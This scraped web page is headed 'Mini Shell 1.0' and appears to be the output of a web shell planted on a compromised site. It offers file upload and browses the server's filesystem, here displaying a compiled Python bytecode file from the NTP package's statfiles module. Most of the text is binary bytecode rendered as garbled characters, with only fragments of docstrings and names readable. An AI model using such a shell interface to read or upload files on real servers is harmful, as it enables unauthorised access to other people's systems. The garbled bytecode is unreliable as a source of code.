HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/ntp/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/ntp/__pycache__/statfiles.cpython-311.pyc
�

|�d�#��x�dZddlmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
Gd�d��Zd�Zd�Z
dS)zq
statfiles.py - class for digesting and plotting NTP logfiles

Requires gnuplot and liberation fonts installed.

�)�print_function�divisionNc��eZdZdZdZdZiZdZdZdZ	dZ
ed���Zed���Z
ed���Zed	���Z		dd
�Zd�Zd�Zd
�Zd�Zd�ZdS)�NTPStatsz*Gather statistics for a specified NTP sitei�Qi�:	N�c�v�g}|D]�}	|���}t|d��}t|d��}n#t$rY�NwxYwtj|z|zdz
}||cxkr|kr?n�wt|dz��|d<t
|��|d<|�|����|S)z�Extract first two fields, MJD and seconds past midnight.
        convert timestamp (MJD & seconds past midnight) to Unix time
        Replace MJD+second with Unix time.r�l�@"��)�split�int�float�
ValueErrorr�SecondsInDay�str�append)	�lines�	starttime�endtime�lines1�liner�mjd�second�times	         �//usr/lib/python3/dist-packages/ntp/statfiles.py�unixizezNTPStats.unixizes������	%�	%�D�
��
�
�����%��(�m�m���u�Q�x�������
�
�
���
����
�(�3�.��7�*�D�D��D�+�+�+�+�G�+�+�+�+�+��t�d�{�+�+��a���t�9�9��a���
�
�e�$�$�$���
s�>A�
A�Ac�P�t|���d��S)z"get Unix time from converted line.r)r
r)rs r�	timestampzNTPStats.timestamp9s���T�Z�Z�\�\�!�_�%�%�%�c��i}t|��}d|kr,d|kr	|d}nd}|D]}||dt|��z<�nH|D]E}|dkr||dz
|d<�|t||dzz��|dt|��z<�F|S)zwReturn given percentiles of a given row in a given set of entries.
        assuming values are already split and sortedr	r�p�d�p100)�lenrr)�percents�values�ret�length�value�percs      r�percentileszNTPStats.percentiles>s������V������;�;��F�{�{��q�	����� �
-�
-��',��C�#�d�)�)�O�$�$�
-�!�
L�
L���3�;�;�"(��!��"4�C��K�K�+1�#�f��S��6I�2J�2J�+K�C��c�$�i�i��(�(��
rc�
�|d���rh|�d��r#|�d��\}}}}d|�d|�d�S	tj|��\}}}|S#tj$rYnwxYw|S)z,Produce appropriate label for an IP address.rz127.127.�.zREFCLOCK(type=z,unit=�))�isdigit�
startswithr�socket�
gethostbyaddr�herror)�key�_�
clock_type�unit�hostnames     r�ip_labelzNTPStats.ip_labelVs���
�q�6�>�>���	��~�~�j�)�)�
H�+.�9�9�S�>�>�(��A�z�4�4�6@�j�j�$�$�$�G�G�
�#)�#7��#<�#<� ��1�a�����=�
�
�
���
�����
s�A.�.B�?Bc���|�tj}||_|�(|�&tt	j����}||z
}n|�|�||z
}n	|�|�||z}||_||_|ptj�	|��|_
d|j
krtj��|_
tj�
|��s1tj�d|z��t#d���g|_g|_g|_g|_g|_g|_dD]?}|�||��}|�||��}t5|||���@dS)z.Grab content of logfiles, sorted by timestamp.N�ntpstatsz%ntpviz: ERROR: %s is not a directory
r	)�
clockstats�	peerstats�	loopstats�rawstats�temps�gpsd)r�
DefaultPeriod�periodrrrr�os�path�basename�sitenamer0�getfqdn�isdir�sys�stderr�write�
SystemExitr;r<r=r>r?r@�_NTPStats__load_stem�_NTPStats__process_stem�setattr)	�self�statsdirrFrBrr�stemr�	processeds	         r�__init__zNTPStats.__init__ms���>��+�F�����?�y�0��$�)�+�+�&�&�G��&�(�I�I�
�
�7�#6��&�(�I�I�
�
"�w���&�(�G�"������ �>�B�G�$4�$4�X�$>�$>��
����&�&�"�N�,�,�D�M��w�}�}�X�&�&�	 ��J���E�'�(�
)�
)�
)��Q�-�-�������������
���
���	�2�	+�	+�D��$�$�X�t�4�4�E��+�+�D�%�8�8�I��D�$�	�*�*�*�*�		+�	+rc�$�g}	tj�||��}|dkr|dkr|dz
}tj|dz��D]�}|jtj�|��kr�+|�d��r+|tj|d���	��z
}�k|t|d���	��z
}��n2#t$r%tj�
d|z��YnwxYw|S)	Nr?r@r,�*�gz�rt�rz#ntpviz: WARNING: could not read %s
)rCrD�join�globr�getmtime�endswith�gzip�open�	readlines�IOErrorrIrJrK)rPrQrRr�pattern�logparts      r�__load_stemzNTPStats.__load_stem�s,����	(��g�l�l�8�T�2�2�G��w���4�6�>�>��3����9�W�s�]�3�3�
<�
<���>�B�G�$4�$4�W�$=�$=�=�=���#�#�D�)�)�<��T�Y�w��5�5�?�?�A�A�A�E�E��T�'�3�/�/�9�9�;�;�;�E�E�
<���	(�	(�	(��J���C�&�'�
(�
(�
(�
(�
(�	(�����s�CC�,D
�D
c���g}|dks|dkr�|D]�}|���}dt|��kr�*	t|d��}n#t$rY�MwxYw|j|cxkr|jkr>n�k|�dt|dz����|�|����n&t�
||j|j��}|���|S)Nr?r@�rr
)rr#r
rrr�insertrrrr�sort)rPrRrrrr�
time_floats       r�__process_stemzNTPStats.__process_stem�s�����7�?�?�d�f�n�n��
)�
)���
�
�����s�5�z�z�>�>���!&�u�Q�x���J�J��!�����H������>�Z�?�?�?�?�4�<�?�?�?�?�?��L�L��C�
�T�(9�$:�$:�;�;�;��M�M�%�(�(�(��
)�&�%�%�e�T�^�T�\�J�J�F�	���
�
�
��
s�A�
A�Ac���|jr|jS|jD]N}	|d}||jvr
g|j|<|j|�|���?#t$rY�KwxYw|jS)zoReturn a dictionary mapping peerstats IPs to entry subsets.
        This is very expensive, so cache the result�)�peermapr<r�
IndexError)rP�row�
ip_addresss   r�	peersplitzNTPStats.peersplit�s����<�	 ��<���>�	�	�C�
� ��V�
��T�\�1�1�/1�D�L��,���Z�(�/�/��4�4�4�4���
�
�
���
�����|�s�;A�
A"�!A"c��i}|jD]?}	|d}||vrg||<||�|���0#t$rY�<wxYw|S)z9Return a dictionary mapping gps sources to entry subsets.rl)r@rrn)rP�gpsmapro�sources    r�gpssplitzNTPStats.gpssplit�s|�����9�	�	�C�
��Q�����'�'�%'�F�6�N��v��%�%�c�*�*�*�*���
�
�
���
�����
��,:�
A�Ac��i}|jD]?}	|d}||vrg||<||�|���0#t$rY�<wxYw|S)zAReturn a dictionary mapping temperature sources to entry subsets.rl)r?rrn)rP�tempsmaprorts    r�
tempssplitzNTPStats.tempssplit�s~�����:�	�	�C�
��Q�����)�)�')�H�V�$��� �'�'��,�,�,�,���
�
�
���
�����rv)NNNN)�__name__�
__module__�__qualname__�__doc__rrArmrBrrrF�staticmethodrrr*r8rTrMrNrqrury�rrrrs������0�0��L��M��G�
�F��I��G��H�����\��2�&�&��\�&�����\��.����\��,+/�6:�'+�'+�'+�'+�R���(���@���"�������rrc��t|�����rt|��Stj|d��}tj|��S)zEAccept timestamps in ISO 8661 format or numeric POSIX time. UTC only.�%Y-%m-%dT%H:%M:%S)rr.rr�strptime�calendar�timegm)�time_string�time_structs  r�iso_to_posixr��sN��
�;�����!�!� ��;�����-��-@�A�A�K��?�;�'�'�'rc�P�tjdtj|����S)z&ISO 8601 string in UTC from Unix time.r�)r�strftime�gmtime)�	unix_times r�posix_to_isor�s���=�,�d�k�)�.D�.D�E�E�Er)r}�
__future__rrr�r[r^rCr0rIrrr�r�rrr�<module>r�s�����0�/�/�/�/�/�/�/�������������	�	�	�	�
�
�
�
�
�
�
�
�����`�`�`�`�`�`�`�`�F(�(�(�F�F�F�F�Fr